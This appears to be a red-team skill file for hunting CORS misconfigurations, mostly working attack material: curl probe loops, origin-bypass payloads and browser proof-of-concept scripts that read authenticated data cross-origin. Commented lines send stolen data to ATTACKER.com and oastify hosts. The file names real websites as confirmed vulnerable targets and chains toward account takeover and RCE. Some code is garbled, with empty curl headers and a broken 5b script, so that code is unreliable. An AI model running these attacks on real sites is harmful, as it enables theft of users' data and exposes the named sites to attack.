hunt-cors

name	hunt-cors
description	Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers.
version	1.1.0
revision_date	"2026-07-25T00:00:00.000Z"
license	MIT
category	redteam
tags	["cors","hunt","redteam"]

HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration

What actually pays (and what does not)

CORS pays High only when an attacker-controlled origin can perform a credentialed cross-origin read of sensitive authenticated data, and you have a browser PoC proving the response body is readable from evil.com.

Two hard browser rules that kill most "findings" — check these FIRST:

• Access-Control-Allow-Origin: * CANNOT be combined with credentials. If the server returns ACAO: *, the browser refuses to send/expose the response for a credentials: include request. A wildcard-only endpoint is not credential-exploitable. It is only interesting if the data it serves is sensitive without a session (rare) — usually this is Informational/Low.
• Access-Control-Allow-Credentials: true is meaningless on its own. It matters only if ACAO reflects/allows your specific attacker origin AND a cross-origin credentialed fetch actually returns a readable body. ACAC on a response that does not reflect your origin proves nothing.

If you cannot demonstrate a readable cross-origin authed body in a real browser, you do not have a High. Do not submit header-diffing alone.

---

Crown Jewel Targets

• Reflect-any-origin + credentials — server echoes the Origin header AND sets ACAC: true → any site reads authed API responses. The classic High.
• Null-origin trust — ACAO: null + ACAC: true. A sandbox iframe (or a data:/redirect chain) emits Origin: null, so any page can read authed data.
• Subdomain-regex bypass — trusted-origin regex with a parsing flaw. The correct payload depends on which flaw (see Phase 3 — this is where most skills get it wrong).
• Subdomain takeover → trusted origin — a dangling subdomain that the CORS policy trusts; take it over, host the PoC there (see hunt-subdomain).
• postMessage missing/loose origin check — handler that processes event.data without strictly validating event.origin.

---

Attack Surface Signals

Any endpoint returning an Access-Control-Allow-Origin header
API endpoints:   /api/*, /v1/*, /graphql
Profile/account: /api/me, /api/profile, /api/user, /api/session
Secrets/tokens:  /api/tokens, /api/keys, /api/csrf, /api/account/settings
Financial:       /api/balance, /api/transactions
Admin/internal:  /api/admin/*, /api/internal/*

Prioritize endpoints that (a) require a session cookie and (b) return PII, tokens, CSRF tokens, or other secrets in the body.

---

Step-by-Step Hunting Methodology

Phase 1 — Discover CORS endpoints

# Probe API endpoints across the entire surface. Critical: test MULTIPLE endpoints,
# not just /users — user-specific and resource-specific URLs may behave differently.
while read url; do
  result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "$url" \
    -H "Origin: https://evil.com" \
    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
  [ -n "$result" ] && echo "=== $url ===" && echo "$result"
done < recon/$TARGET/api-endpoints.txt

# httpx bulk check
cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
  httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"

Phase 2 — Reflect-any-origin + null origin

Test with MULTIPLE attacker origins (evil.com, null, evil.com:443) against MULTIPLE endpoints — they can behave differently:

# Does the server reflect an arbitrary Origin back?
# Test multiple origins against multiple endpoints in a matrix
for origin in "https://evil.com" "null" "https://evil.com:443"; do
  for endpoint in "/wp-json/wp/v2/users" "/wp-json/wp/v2/users/1" \
                  "/wp-json/wp/v2/posts" "/wp-json/wc/v3/" \
                  "/wp-json/elementor/v1/globals" "/api/me"; do
    echo "--- Origin: $origin on $endpoint ---"
    result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$endpoint" \
      -H "Origin: $origin" \
      -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
    echo "${result:-NO CORS HEADERS}"
  done
done

# Vulnerable (the High case):
#   Access-Control-Allow-Origin: https://evil.com   <- reflects attacker origin
#   Access-Control-Allow-Credentials: true          <- + credentials => readable
#
# NOT exploitable for credentialed theft:
#   Access-Control-Allow-Origin: *                   <- browser blocks creds read
#   (no ACAC, or ACAC absent)                        <- not credentialed

# Null-origin trust
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null https://$TARGET/api/me \
  -H  \
  -H  | grep -i 

Phase 3 — Subdomain / trusted-origin regex bypass

The right payload depends on which regex flaw the server has. Identify the class first, then send the matching payload. Getting this wrong wastes the test and produces false negatives.

Server regex (intended: trust *.target.com)	Flaw	Bypass origin that matches	Why
^https?://.*\.target\.com$	None — escaped dot + end-anchor. Correct.	(no simple bypass)	evil.target.com is in-scope by design; x.target.com.evil.com ENDS in .evil.com, fails $. Move on or look for subdomain-takeover.
^https?://.*target\.com$	Missing dot separator (no \. before target)	https://eviltarget.com	.*target\.com$ matches eviltarget.com — attacker registers eviltarget.com.
^https?://.*\.target\.com	Missing end-anchor $	https://x.target.com.evil.com	regex matches a prefix; .target.com appears, then .evil.com is ignored (no $).
^https?://target\.com	Prefix-only, no $	https://target.com.evil.com	matches the target.com prefix; the rest is unconstrained.
^https?://.*\.target\.com$ but dot in regex is unescaped (.*.target.com$)	Unescaped dot = "any char"	https://xtargetXcom... style, or https://evilZtargetZcom where Z is any single char	. matches any character, widening the match.
Any of the above	Special chars browsers send in Origin	https://target.com%60.evil.com, https://target.com\x60evil.com	some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it.

# Send each class-specific payload and watch what the server reflects.
for ORIGIN in \
  "https://evil.target.com" \
  "https://eviltarget.com" \
  "https://x.target.com.evil.com" \
  "https://target.com.evil.com" \
  "https://target.com%60.evil.com" \
  "http://target.com"; do
  RESULT=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
    -H "Origin: $ORIGIN" \
    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
  echo "[$ORIGIN] -> ${RESULT:-no CORS}"
done

A bypass is real only if the server reflects your registerable origin into ACAO with ACAC: true. evil.target.com reflecting back is NOT a bug unless you can actually control a *.target.com host (then see Phase 6 / hunt-subdomain).

Phase 4 — Pre-flight (OPTIONS) gating bypass

Non-simple requests (custom headers, PUT/DELETE/PATCH, non-simple Content-Type) trigger a CORS pre-flight OPTIONS. The browser only sends the real request if the pre-flight response authorizes the method/header. Two things to test:

1. Does the pre-flight authorize arbitrary methods/headers for your origin? If Access-Control-Allow-Methods / Access-Control-Allow-Headers reflect whatever you ask for, a malicious origin can drive state-changing requests (chain to CSRF-style writes that JSON/SameSite would otherwise block).

curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: x-custom-auth, content-type" \
  | grep -i "access-control"
# Vulnerable: ACAO reflects evil.com + ACAC:true +
#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth
# => attacker origin can issue authed PUT/DELETE with custom headers.

2. Is the pre-flight even enforced server-side? Some servers reflect the origin on OPTIONS but the actual GET/POST also reflects — the read path is the bug; the pre-flight just confirms write-path reach. Test the GET/POST directly too — never assume the pre-flight result equals the real-request result. Confirm in a browser, because curl ignores CORS entirely.

Phase 5 — Browser PoCs (the only thing that proves impact)

curl --max-time 30 --connect-timeout 10 does NOT enforce CORS — it will happily show you a reflected header even when a browser would block the read. Every CORS High needs a browser PoC.

5a. Reflect-any-origin read (host on evil.com, open while logged into target):

<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
  .then(r => r.text())
  .then(d => {
    document.getElementById("out").innerText = d;        // prove readable body
    // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
  })
  .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>

If you see BLOCKED / a TypeError, the browser refused the read — it is NOT a valid finding regardless of what curl showed (this is the ACAO: * + creds case).

5b. WordPress REST API multi-endpoint CORS validation:

<!doctype html><body><pre id="out"></pre>
<script>
// WordPress REST API CORS credential reflect — proven on 5 targets in field recon
(async () => {
  const TARGET = "https://TARGET";
  let output = [];
  // 1. Get ALL users
  try {
    let r = await fetch(TARGET + "/wp-json/wp/v2/users", {credentials:"include"});
    let d = await r.json();
    output.push("USERS (" + d.length + "): " + JSON.stringify(d.map(u => u.name)));
    // OOB exfil: await fetch("https://ATTACKER.com/exfil?u="+btoa(JSON.stringify(d)));
  } catch(e) { output.push("USERS: BLOCKED - " + e); }
  // 2. Get posts
  try {
    let r = await fetch(TARGET + "/wp-json/wp/v2/posts?per_page=100", {:});
     d =  r.();
    output.( + d. + );
  } (e) {}
  
   {
     r =  ( + , {:});
     d =  r.();
    output.( + d. + );
  } (e) {}
  .(). = output.();
})();

5c. Null-origin read — a sandbox iframe sends Origin: null. The inner document must lack allow-same-origin so its origin is opaque (null):

<!doctype html><body>
<!-- Outer page hosted anywhere -->
<iframe sandbox="allow-scripts" srcdoc='
  <script>
    fetch("https://TARGET/api/me", {credentials: "include"})
      .then(r => r.text())
      .then(d => parent.postMessage(d, "*"));
  &lt;/script&gt;'></iframe>
<script>
window.addEventListener("message", e => {
  // d is the authed body, read cross-origin via a null Origin
  // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
  console.log("NULL-ORIGIN READ:", e.data);
});
</script></body>

(Alternative null-origin emitters: a data: / blob: document, or bouncing the request through a 302 redirect chain whose final hop is cross-scheme.)

5d. Trusted-subdomain read — once you control a host that the regex trusts (real subdomain via takeover, or a registerable origin that matches a buggy regex from Phase 3), host 5a there. The reflected origin is now an origin you legitimately serve, so the browser allows the read.

Phase 6 — postMessage origin check

# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
  | grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
#   .indexOf("target.com") > -1      <- "target.com.evil.com" passes
#   .endsWith("target.com")          <- "eviltarget.com" passes
#   startsWith("https://target")     <- "https://target.evil.com" passes
#   no check at all

postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS, client-side auth bypass). See hunt-dom for exploitation depth.

---

Automation (triage only — never the proof)

# corsy — fast reflection/null/pre-domain checks
pip3 install corsy
corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"

# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/

# Burp: passively flags origin reflection; always re-confirm in a real browser.

Every automated hit is a lead, not a finding. Reproduce 5a/5b in a browser.

---

Chain Table

CORS finding	Chain to	Impact
Reflects attacker origin + creds	Browser-read /api/me, /api/tokens, /api/csrf	PII + token + CSRF-token theft → often ATO
Reflects origin + reads CSRF token	hunt-csrf: steal token → forge state change	CSRF on CSRF-protected forms
Pre-flight allows arbitrary method/header	Drive authed PUT/DELETE from evil origin	Cross-origin state change
Trusted subdomain has XSS	hunt-xss → run 5a from trusted origin	Reliable credentialed read
Dangling trusted subdomain	hunt-subdomain takeover → host 5d there	Full credentialed read
postMessage no/loose origin check	hunt-dom: inject iframe, send crafted message	DOM XSS / client auth bypass

---

Validation discipline (read before submitting)

• Browser proof mandatory. curl reflecting a header is NOT exploitation. Show a screenshot/console log of the authed body read from evil.com. If the fetch throws / logs BLOCKED, you have nothing.
• ACAO: * + credentials = not a finding. Browsers block it. Only pursue wildcard if the data is sensitive unauthenticated (then it is usually Low).
• ACAC: true alone proves nothing — it must pair with your reflected origin AND a successful readable cross-origin body.
• Match the regex class to the payload (Phase 3). Do not submit target.com.evil.com against an end-anchored escaped-dot regex — it does not match and is not a bug.
• evil.target.com reflecting is not automatically a bug — it is an in-scope subdomain by design unless you can actually control it.
• OOB confirmation for blind/headless contexts: exfil the read body to a Burp Collaborator / oastify host and show the interaction. Use a unique per-test marker so the hit is unambiguously yours.
• Sensitive data requirement. A readable /api/health is not High. Tie the read to PII, tokens, secrets, or financial data to justify severity.

Severity:

• Reflects attacker origin + creds + sensitive body, browser-proven: High
• Pre-flight authorizes attacker-origin state change on sensitive action: High
• Null-origin + sensitive authed body, browser-proven: Medium–High
• Subdomain-takeover/XSS-assisted credentialed read: High/Critical
• Reflects origin, no credentials / non-sensitive: Low–Informational
• **ACAO: * only (no creds possible): Informational unless data is secret
• Endpoint-specific policy: CORS headers may be absent on / but present on API routes. Test the bounded authenticated endpoints identified during application mapping, not only the root.

Operator Notes

WP Engine / WordPress CORS Credential Pattern

WP Engine-hosted WordPress sites are a high-signal CORS target. The WP Engine stack does not add CORS origin-pinning by default — the WordPress REST API returns Access-Control-Allow-Origin: <origin> AND Access-Control-Allow-Credentials: true for any requesting origin. This applies even when the site is behind Cloudflare WAF, because the CORS headers originate at the application layer (WordPress), not the CDN.

Confirmed vulnerable WP Engine targets from field recon:

• gocarwash.com (car wash, Cloudflare + WP Engine) — CRITICAL CORS + 32 subdomains
• dogtopia.com (pet grooming, Cloudflare + WP Engine) — CRITICAL CORS + 10 WP users
• provectusre.com, arm-risk.com, finefloorproducts.com (Wave 2-3 targets)

Test pattern:

curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i access-control
# Expected CRITICAL response:
#   access-control-allow-origin: https://evil.com
#   access-control-allow-credentials: true

Non-WP Engine WordPress (Apache, nginx) also shows this pattern — locksmiths.net (Apache WordPress) had the same CRITICAL CORS reflect. The pattern is endemic to default WordPress REST API configurations, not specific to any one host.

Also check: WordPress plugins like Jetpack expose Jet-Query-Total and Jet-Query-Pages in CORS expose-headers — this is a secondary signal that a WordPress REST API is responding with CORS headers even on cached pages.

Verification

1. CORS probe — verify origin reflection detection:

   curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: https://evil.com" | grep -i "access-control" && echo "PASS" || echo "(httpbin may be down)"
   

2. Null origin test — confirm null origin syntax:

   echo "Origin: null" | grep -q "null" && echo "PASS" || echo "FAIL"
   

3. Preflight test — confirm OPTIONS syntax:

   echo "OPTIONS /api/me HTTP/1.1" | grep -q "OPTIONS" && echo "PASS: OPTIONS method recognized" || echo "FAIL"
   

All 3 tests verify CORS probing.

---

Pitfalls

• ACAO: without ACAC is safe* — Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials: true is NOT exploitable. Stop here.
• Testing only GET — some endpoints only emit CORS on OPTIONS preflight. Always test both methods.
• Single-origin probe — testing only Origin: https://evil.com misses null-origin trust and subdomain-regex bypass patterns.
• Auth-required endpoint false negatives — 401/403 responses may still emit CORS headers. Test with and without auth cookies.
• Subdomain regex: missing end-anchor — ^https://.*\.target\.com without $ matches https://x.target.com.evil.com. Always test end-anchor bypass.
• Preflight-only CORS — some servers only validate Origin on OPTIONS. If GET bypasses, the preflight is the real gate.

---

Related Skills

• hunt-xss — Trusted subdomain XSS enables credentialed CORS reads from the attacker's origin. Chain primitive: XSS on app.target.com → fetch from evil.com with credentials → steal CSRF tokens and PII from the victim's authenticated session.
• hunt-csrf — Pre-flight CORS that allows arbitrary methods/headers enables cross-origin state-changing requests. Chain primitive: pre-flight confirms PUT with X-CSRF: 1 is allowed → attacker origin drives password/email changes bypassing SameSite protections.
• hunt-dom — postMessage handlers missing origin validation create client-side CORS bypass primitives. Chain primitive: postMessage from attacker iframe to target window conveys auth tokens without HTTP CORS enforcement.
• hunt-subdomain — Dangling CNAME on a CORS-trusted subdomain enables full credentialed read. Chain primitive: takeover staging.target.com → host CORS PoC on the now-controlled origin → browser allows credentialed reads from the trusted origin.
• hunt-source-leak — JS bundles may reveal internal API routes that have different CORS configurations. Chain primitive: source map reveals /internal/admin/api/me → test CORS on this unadvertised endpoint — often has broader CORS policy than the main API.
• cors-chain-automation — Batch-probes API endpoints for CORS misconfiguration at scale; pairs with this skill for automation after initial manual discovery. Chain primitive: manual hunt-cors identifies reflect-any-origin + credentials on /api/me → cors-chain-automation bulk-scan all sibling endpoints for the same misconfig pattern.
• wp-plugin-automation — WordPress REST API CORS credential reflection is endemic on WP Engine hosts; wp-plugin-automation finds plugin CVEs that escalate CORS-primitive into RCE. Chain primitive: CORS on WP REST API exfils user list + CSRF tokens → wp-plugin-automation finds vulnerable Slider Revolution → RCE from admin session alone.